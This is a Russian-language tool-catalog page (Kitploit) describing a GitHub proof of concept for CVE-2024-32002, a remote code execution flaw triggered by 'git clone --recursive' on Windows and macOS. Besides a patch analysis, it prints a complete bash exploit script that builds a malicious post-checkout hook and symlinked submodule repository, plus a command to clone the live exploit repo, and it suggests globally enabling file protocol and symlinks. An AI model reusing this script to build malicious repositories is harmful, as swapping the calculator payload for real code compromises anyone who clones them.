Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
Инструменты/GitHubGitHub/roronoawjd/git_rce
Анализ уязвимостейЭксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

Репозиторий
2 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Удаленное выполнение кода через git clone (CVE-2024-32002)

Участники

  • 이정우@Roronoawjd

Описание

Эта уязвимость представляет собой RCE (удаленное выполнение кода), возникающую при клонировании Git-репозитория с подмодулями в файловых системах, не различающих регистр символов, таких как Windows и macOS. RCE (Remote Code Execution) — это критическая уязвимость, позволяющая злоумышленнику выполнять произвольные команды на целевой системе. A/modules/x и a/modules/x рассматриваются как один и тот же путь. Эта особенность в сочетании с символическими ссылками используется для эксплуатации уязвимости.

Информация об уязвимости

  • Данный POC работает только на системах Windows и macOS.
  • Если установлено git config --global core.symlinks false, атака не сработает.

Анализ уязвимости

Просмотр исправления уязвимости

builtin/submodule--helper.c

Функция dir_contains_only_dotgit: проверяет, содержит ли каталог только файл .git, или также другие каталоги, и возвращает ошибку, если присутствуют другие файлы или каталоги. Функция clone_submodule: перед клонированием проверяет, существует ли каталог подмодуля и пуст ли он.

t/t7406-submodule-update.sh

1. Глобальная настройка

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • Этот скрипт устанавливает параметры конфигурации Git. protocol.file.allow always активирует файловый протокол Git.
  • core.symlinks true разрешает использование символических ссылок.
  • tell_tale_path используется для проверки успешного выполнения RCE.

2. Настройка hook'а

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • Инициализируется репозиторий hook.
  • Создается hook с именем post-checkout.
  • Скрипт hook'а фиксируется в репозитории.

3. Настройка основного репозитория

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • Сохраняется путь к hook'у.
  • Инициализируется другой репозиторий с именем captain.
  • Репозиторий hook добавляется как подмодуль в A/modules/x, после чего выполняется коммит.
  • Создается символическая ссылка a, указывающая на .git.

4. Тестирование

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • Проверяется, сработало ли RCE.

Создание POC

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

В Git существуют так называемые hook'и, которые позволяют автоматически запускать скрипты при определённых событиях. Они располагаются в каталоге .git/hooks. post-checkout — это скрипт, который выполняется после checkout.

image

Последовательность следующая:

  1. При клонировании репозитория git_rce создаётся символическая ссылка a, указывающая на .git.
  2. При клонировании Git распознаёт путь подмодуля как a/modules/x, а не A/modules/x.
  3. Поскольку a указывает на .git, в каталоге .git создаётся /modules/x, и затем создаётся y/hooks/post-checkout.
  4. После успешного checkout автоматически выполняется git_rce/.git/modules/x/y/hooks/post-checkout, что приводит к RCE.

POC (Proof of Concept)

⚠️ Предупреждение: не используйте эту уязвимость в злонамеренных целях!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

Примечание: на Windows необходимо запускать cmd или bash от имени администратора.

Скачать инструмент